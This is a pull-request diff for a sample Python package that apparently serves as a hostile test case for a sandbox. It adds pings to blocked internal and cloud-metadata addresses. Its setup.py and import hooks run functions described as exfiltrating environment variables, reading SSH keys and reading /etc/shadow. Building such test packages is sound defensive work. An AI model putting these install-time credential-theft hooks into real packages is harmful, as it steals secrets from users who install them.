Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion sample_packages/sample_python_package/setup.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,4 +9,4 @@
setup(name="sample_python_package",
packages=find_packages(),)

[f("setup.py", True) for f in https_functions + access_credentials_functions]
[f("setup.py", True) for f in network_functions + access_credentials_functions]
2 changes: 1 addition & 1 deletion sample_packages/sample_python_package/src/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,4 +5,4 @@

from example import *

[f("__init__.py", True) for f in https_functions + access_credentials_functions]
[f("__init__.py", True) for f in network_functions + access_credentials_functions]
30 changes: 27 additions & 3 deletions sample_packages/sample_python_package/src/example.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
import http.client
import json
import os
import re

# Sends an HTTPS post request and prints out the response.
# Exfiltrates environment variables.
Expand All @@ -14,6 +15,28 @@ def send_https_post_request(called_from: str, print_logs: bool) -> None:
if print_logs:
print(response.read().decode())

# Attempts to ping a subset of addresses that packages should not be able to
# ping. Checks if those addresses will send a packet back.
def connect_to_blocked_addresses(called_from: str, print_logs: bool) -> None:
# blocked_addresses is based off of ip addresses that we block access to in
# tools/network/iptables.rules
blocked_addresses = ["172.16.16.1", "169.254.169.254", "10.0.0.1",
"172.16.0.1", "192.168.0.1"]
successful_pings = []
for ip in blocked_addresses:
response = os.popen("ping -w 2 " + ip).read()
packets_received = re.search(", (\d+) received,", response).group(1)
if packets_received != "0":
successful_pings.append(ip)
if print_logs:
print(f"Called from: {called_from}")
if len(successful_pings) == 0:
print("No blocked addresses pinged successfully.")
else:
print(
"Successfully pinged the following addresses that should be blocked: ",
successful_pings)


# Access ssh keys and attempts to read and write to them.
def access_ssh_keys(called_from: str, print_logs: bool) -> None:
Expand Down Expand Up @@ -59,12 +82,13 @@ def access_passwords(called_from: str, print_logs: bool) -> None:
# Requires root to read.
read_file_and_log(shadow_password_file, called_from, print_logs)

# Collection of functionalities to run that can be customized.
https_functions = [send_https_post_request]
# Collection of functionalities to run that can be customized. Pick relevant ones and then rebuild the package.
# Notes: connect_to_blocked_addresses is slow because it will wait for ping responses.
network_functions = [send_https_post_request, connect_to_blocked_addresses]
access_credentials_functions = [access_ssh_keys, access_passwords]

def main():
[f("main function", True) for f in https_functions + access_credentials_functions]
[f("main function", True) for f in network_functions + access_credentials_functions]

if __name__ == "__main__":
main()